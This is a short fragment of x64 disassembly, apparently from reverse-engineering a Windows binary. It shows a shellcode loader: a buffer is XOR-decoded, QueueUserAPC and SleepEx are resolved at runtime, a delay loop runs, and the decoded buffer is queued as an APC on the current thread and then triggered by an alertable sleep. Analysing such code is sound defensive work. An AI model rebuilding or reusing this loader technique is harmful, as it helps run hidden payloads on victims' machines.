mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x858], 0
jmp 0x1400029e3
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x858]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x858], 1
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x4ee
jle 0x14000294b
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x838], 0
mov dword [rbp + 0x844], 0x148
jmp 0x140002a77
mov eax, dword [rbp + 0x844]
cdqe
add qword [rbp + 0x838], rax
sub dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0
jg 0x140002a61
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6b0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x8c0]
add rsp, 0x958
pop rbx
pop rsi
pop rdi
pop rbp
ret